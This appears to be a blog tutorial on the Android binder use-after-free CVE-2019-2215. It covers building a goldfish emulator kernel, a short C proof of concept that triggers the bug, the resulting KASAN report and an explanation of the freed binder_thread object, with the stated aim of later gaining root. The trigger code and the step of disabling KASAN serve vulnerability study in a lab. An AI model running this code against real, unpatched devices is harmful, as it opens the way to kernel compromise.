CVE-2019-2215

We will walk through the CVE-2019-2215 Android binder vulnerability on the goldfish emulator.

Requirements:

  • GDB
  • Android Studio
  • Android NDK
  • Android Virtual Device
  • Android Kernel Source Code

Download Android Studio and extract it.

Under the bin folder, there is a studio.sh. We can run android studio by start studio script.

Install NDK and emulator by SDK manager.

We will use NDK 21.0.6113669.

Install the Android Emulator and Android SDK Platform-Tools under the CMake section.

We will install Android 10 platform under the SDK platform tab.


Android Kernel

We will be using cloudfuzz‘s technique to download the Android Kernel.

mkdir android-4.14-dev && cd android-4.14-dev

repo init --depth=1 -u https://android.googlesource.com/kernel/manifest -b q-goldfish-android-goldfish-4.14-dev

wget https://c1n.org/default.xml

cp pathToDefaultXml/default.xml .repo/manifests/

repo sync -c --no-tags --no-clone-bundle -jnproc

Compiling the Android Kernel

BUILD_CONFIG=../build-configs/goldfish.x86_64.kasan build/build.sh

Be careful that you have GCC version 9 before building. Otherwise, it gives an error.

Pixel2 XL AVD Creation and Emulation


emulator -show-kernel -no-snapshot -wipe-data -avd CVE-2019-2215 -kernel ~/workshop/android-4.14-dev/out/kasan/dist/bzImage

If the emulator freezes your computer, it’s because of your hardware acceleration preferences of the emulator. You can easily change it like that.


We will trigger the bug and see the KASAN report that we enabled as a bug detection feature of the Android and Linux kernels.

More information about KASAN.

This is the poc code of the binder CVE-2019-2215 that triggers the KASAN report.

#include <fcntl.h>
#include <sys/epoll.h>
#include <sys/ioctl.h>
#include <unistd.h>

#define BINDER_THREAD_EXIT 0x40046208ul

int main()
{
        int fd, epfd;
        struct epoll_event event = { .events = EPOLLIN };
                
        fd = open("/dev/binder", O_RDONLY);
        epfd = epoll_create(1000);
        epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &event);
        ioctl(fd, BINDER_THREAD_EXIT, NULL);
}

Compiled and pushed to the emulator

When we run the poc kasan report occurs on the dmesg of emulator.

In that case, we triggered the UaF and KASAN detected it. We will walk through the exploitation steps in order to achieve root access.

Now we need to close the KASAN and then recompile the kernel because KASAN detects UaF and blocks the exploitation attempts.

We will change the kasan config of the previous one and rebuild the kernel.

https://c1n.org/goldfish.x86_64.nokasan

BUILD_CONFIG=pathToBuildConfig/build.config.goldfish.x86_64 build/build.sh

When we trigger the UaF by our poc again we can see that KASAN report won’t occur so we can start to exploitation.


Understanding of vulnerable object

[  382.398561] ==================================================================
[  382.402796] BUG: KASAN: use-after-free in _raw_spin_lock_irqsave+0x3a/0x5d
[  382.405929] Write of size 4 at addr ffff88804e4865c8 by task cve-2019-2215-t/7682
[  382.409386] 
[  382.410127] CPU: 1 PID: 7682 Comm: cve-2019-2215-t Tainted: G        W       4.14.150+ #1
[  382.413871] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.11.1-0-g0551a4be2c-prebuilt.qemu-project.org 04/01/2014
[  382.417931] Call Trace:
[  382.419106]  dump_stack+0x78/0xbe
[  382.420596]  print_address_description+0x81/0x25d
[  382.422146]  ? _raw_spin_lock_irqsave+0x3a/0x5d
[  382.423691]  __kasan_report+0x14f/0x180
[  382.425082]  ? _raw_spin_lock_irqsave+0x3a/0x5d
[  382.426437]  kasan_report+0x26/0x49
[  382.427468]  check_memory_region+0x171/0x17e
[  382.428725]  kasan_check_write+0x14/0x16
[  382.429884]  _raw_spin_lock_irqsave+0x3a/0x5d
[  382.431010]  remove_wait_queue+0x27/0x122
[  382.432003]  ? fsnotify_unmount_inodes+0x1e8/0x1e8
[  382.433156]  ep_unregister_pollwait+0x160/0x1bd
[  382.434252]  ep_free+0x8b/0x181
[  382.435024]  ? ep_eventpoll_poll+0x228/0x228
[  382.435953]  ep_eventpoll_release+0x48/0x54
[  382.436825]  __fput+0x1f2/0x51d
[  382.437483]  ____fput+0x15/0x18
[  382.438145]  task_work_run+0x127/0x154
[  382.438932]  do_exit+0x818/0x2384
[  382.439642]  ? mm_update_next_owner+0x52f/0x52f
[  382.440555]  do_group_exit+0x12c/0x24b
[  382.441247]  ? do_group_exit+0x24b/0x24b
[  382.441964]  SYSC_exit_group+0x17/0x17
[  382.442652]  SyS_exit_group+0x14/0x14
[  382.443264]  do_syscall_64+0x19e/0x225
[  382.443920]  entry_SYSCALL_64_after_hwframe+0x3d/0xa2
[  382.444784] RIP: 0033:0x4047d7
[  382.445341] RSP: 002b:00007ffe9760fe18 EFLAGS: 00000246 ORIG_RAX: 00000000000000e7
[  382.446661] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00000000004047d7
[  382.447904] RDX: 0000000000000002 RSI: 0000000000001000 RDI: 0000000000000000
[  382.449190] RBP: 0000000000000000 R08: 0000000000482335 R09: 0000000000000000
[  382.450517] R10: 00007ffe9760fe10 R11: 0000000000000246 R12: 0000000000400190
[  382.451889] R13: 00000000004a4618 R14: 00000000004002e0 R15: 00007ffe9760fee0
[  382.453146] 
[  382.453427] Allocated by task 7682:
[  382.454054]  save_stack_trace+0x16/0x18
[  382.454738]  __kasan_kmalloc+0x133/0x1cc
[  382.455445]  kasan_kmalloc+0x9/0xb
[  382.456063]  kmem_cache_alloc_trace+0x1bd/0x26f
[  382.456869]  binder_get_thread+0x166/0x6db
[  382.457605]  binder_poll+0x4c/0x1c2
[  382.458235]  SyS_epoll_ctl+0x1558/0x24f0
[  382.458910]  do_syscall_64+0x19e/0x225
[  382.459598]  entry_SYSCALL_64_after_hwframe+0x3d/0xa2
[  382.460525]  0xffffffffffffffff
[  382.461085] 
[  382.461334] Freed by task 7682:
[  382.461762]  save_stack_trace+0x16/0x18
[  382.462222]  __kasan_slab_free+0x18f/0x23f
[  382.462711]  kasan_slab_free+0xe/0x10
[  382.463149]  kfree+0x193/0x5b3
[  382.463538]  binder_thread_dec_tmpref+0x192/0x1d9
[  382.464095]  binder_thread_release+0x464/0x4bd
[  382.464623]  binder_ioctl+0x48a/0x101c
[  382.465071]  do_vfs_ioctl+0x608/0x106a
[  382.465518]  SyS_ioctl+0x75/0xa4
[  382.465906]  do_syscall_64+0x19e/0x225
[  382.466358]  entry_SYSCALL_64_after_hwframe+0x3d/0xa2
[  382.466953]  0xffffffffffffffff
[  382.467335] 
[  382.467783] The buggy address belongs to the object at ffff88804e486528
[  382.467783]  which belongs to the cache kmalloc-512 of size 512
[  382.469983] The buggy address is located 160 bytes inside of
[  382.469983]  512-byte region [ffff88804e486528, ffff88804e486728)
[  382.472065] The buggy address belongs to the page:
[  382.472915] page:ffffea0001392100 count:1 mapcount:0 mapping:          (null) index:0xffff88804e4872a8 compound_mapcount: 0
[  382.474871] flags: 0x4000000000010200(slab|head)
[  382.475744] raw: 4000000000010200 0000000000000000 ffff88804e4872a8 000000010012000e
[  382.476960] raw: ffffea00015fb220 ffff88805ac01650 ffff88805ac0cf40 0000000000000000
[  382.478072] page dumped because: kasan: bad access detected
[  382.478784] 
[  382.478973] Memory state around the buggy address:
[  382.479571]  ffff88804e486480: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
[  382.480479]  ffff88804e486500: fc fc fc fc fc fb fb fb fb fb fb fb fb fb fb fb
[  382.481318] >ffff88804e486580: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[  382.482155]                                               ^
[  382.482806]  ffff88804e486600: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[  382.483648]  ffff88804e486680: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[  382.484485] ==================================================================

According to the kasan report

The binder_thread struct, defined in drivers/android/binder.c, has the member wait of the wait_queue_head_t struct type. wait is still referenced by a pointer in epoll, even after the binder_thread struct containing it is freed.




Yayımlandı

kategorisi

yazarı:

Etiketler:

Yorumlar

Bir yanıt yazın

E-posta adresiniz yayınlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir